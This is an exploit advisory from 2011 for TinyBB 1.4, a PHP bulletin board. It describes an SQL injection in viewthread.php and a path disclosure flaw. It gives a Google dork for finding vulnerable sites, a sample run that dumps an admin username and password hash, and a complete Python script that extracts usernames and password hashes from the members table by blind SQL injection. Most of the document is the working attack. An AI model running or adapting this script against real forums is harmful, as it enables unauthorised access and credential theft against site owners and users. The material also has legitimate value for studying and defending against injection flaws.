# Exploit Title    : TinyBB 1.4 Sql Injection + Path Disclosure
# Google Dork  : "Proudly powered by TinyBB"
# Date              : 7 April 2011
# Author           : swami
# Contact         : flavio[dot]baldassi[at]gmail[dot]com
# Version          : 1.4
# Tested on       : Centos 5.5 with magic_quotes_gpc off
# Thanks to      : ptrace.net
#
#  From tinybb.net
#  -------------------------
#  "TinyBB is a free, simple bulletin board script. TinyBB's community
is slowly growing and the number
#   of installs is slowly rising. TinyBB's software is 100% free and so
are our official add-ons."
#
#  Sql Injection [Fixed]
#  -----------------------
#  The  vulnerability exist in /inc/viewthread.php file at line 3. As
you can see below the $_GET['post'] parameter isn't
#  properly sanitized.
#
#   $check_thread = mysql_query("SELECT * FROM `tinybb_threads` WHERE
#   `thread_key` = '$_GET[post]'") or die(mysql_error());  
#
#  Path Disclosure [Not fixed]
#  --------------------
#   A remote user can access these files to cause the system to display
an error message that indicates the installation  #   path.
#       1-  http://host/inc/login.php
#       2-  http://host/inc/categories.php
#
#swami@swami-desktop:~/Documents/py$ ./tinybb.py
#
# [+] TinyBB thread url:
http://192.168.2.6/tinybb/index.php?page=thread&post=444709648
# [?] Set up a Proxy ? [y/n] y
# [+] Proxy ip:port: 127.0.0.1:3128
# [+] Proxy is found to be working
# [+] Testing url:
http://192.168.2.6/tinybb/index.php?page=thread&post=444709648
# [+] Url vulnerable: YES
# [+] Users into the db: 1
# [+] Executing blind sql injection, this will take time ...
#
# [+] UserId 76: admin:64d7103eef2b14bbb2d0b57c38cc3fbee29ff72a
#
# [+] Done
#

#!/usr/bin/python
#
import sys
import urllib.request

def banner():
 
   print('+           +')
   print('|   ------------------------------   |')
   print('|   TinyBB 1.4 Blind Sql INjector    |')
   print('|   ------------------------------   |')
   print('+ by swami        +\n')

def setProxy(ip):
 
   try:
    proxy = urllib.request.ProxyHandler( {'http':'http://'+ str(ip) } )
    opener = urllib.request.build_opener( proxy )
    opener.open('http://www.google.com')
    print('[+] Proxy is found to be working')

   except:
    print('[-] Proxy doesn\'t work')
    print('[-] Exit ...')
    sys.exit(1)

   return opener

def testUrl(url, handle):

   print('[+] Testing url: '+ url)

   try:
    req = handle.open( url )
    req = req.read().decode('utf-8')

   except:
    print('[-] '+ url +' is not a valid url')
    print('[-] Exit ...')
    sys.exit(1)

   return req

def urlVulnerable(url, clean, handle):

   sys.stdout.write('[+] Url vulnerable: ')

   try:
    req = handle.open( url + "'" )
    req = req.read().decode('utf-8')

   except:
        sys.exit('\n[-] Url typing error')

   if len(clean) > len(req):
    sys.stdout.write('YES\n')
    sys.stdout.flush()

   else:
    sys.stdout.write('NO\n[-] Exit...\n')
    sys.stdout.flush()
    sys.exit(1)
 
def getTrueValue(url, handle):

   trueValue = handle.open( url + "'%20and%20'1'='1" )
   return len( trueValue.read().decode('utf-8') )

def getNUsers(url, trueValue, handle):

   users = list()

   sys.stdout.write('[+] Users into the db: ')
   sys.stdout.flush()

   for userid in range(1,100):

    inject = url + "'%20and%20(SELECT%201%20FROM%20members%20WHERE%20id="+ str(userid) +")='1"

    try:
     req = handle.open( inject )
     req = req.read().decode('utf-8')

    except:
     print('[-] Somenthing went wrong')
     sys.exit(1)

    if len(req) == trueValue:
     users.append(userid)

   sys.stdout.write( str(len(users)) )

   return users

def doBlind(url, handle, nUserId, trueValue):

 print('\n[+] Executing blind sql injection, this will take time ...\n')

 for x in range(len(nUserId)):

  position = 1 # Line position
  userid = nUserId[x]
  char = 33 # Start from !

  sys.stdout.write('[+] UserId '+ str(userid) +': ')
  sys.stdout.flush()

  # Execute Blind Sql INjection
  while True:

   inject = url
   inject += "'%20and%20ascii(substring((SELECT%20concat(username,0x3a,password)%20FROM%20"
   inject += "members%20WHERE%20id="+ str(userid) +"),"+ str(position) +",1))>"+ str(char) +"%20--'"

   result = handle.open( inject )
   result = result.read().decode('utf-8')

   # If we don't get errors
   if len(result) == trueValue:
    char += 1

   else:

    if position > 43 and chr(char) == "!":
     break

    else:
     sys.stdout.write( chr(char) )
     sys.stdout.flush()
     position += 1
     char = 33 #Reset char

   if char == 127 :
    print('[-] Ascii table is over. Exit... :/')
    sys.exit(1)

  print()

if __name__ == "__main__":

 banner()
 url = input('[+] TinyBB thread url: ')

 if input('[?] Set up a Proxy ? [y/n] ') == 'y' :
  handle = setProxy( input('[+] Proxy ip:port: ') )

 else:
  handle = urllib.request.build_opener()

 clean = testUrl(url, handle)
 urlVulnerable(url, clean, handle)
 trueValue = getTrueValue(url, handle)
 userId = getNUsers(url, trueValue, handle)
 doBlind(url, handle, userId, trueValue)

 print('\n[+] Done ')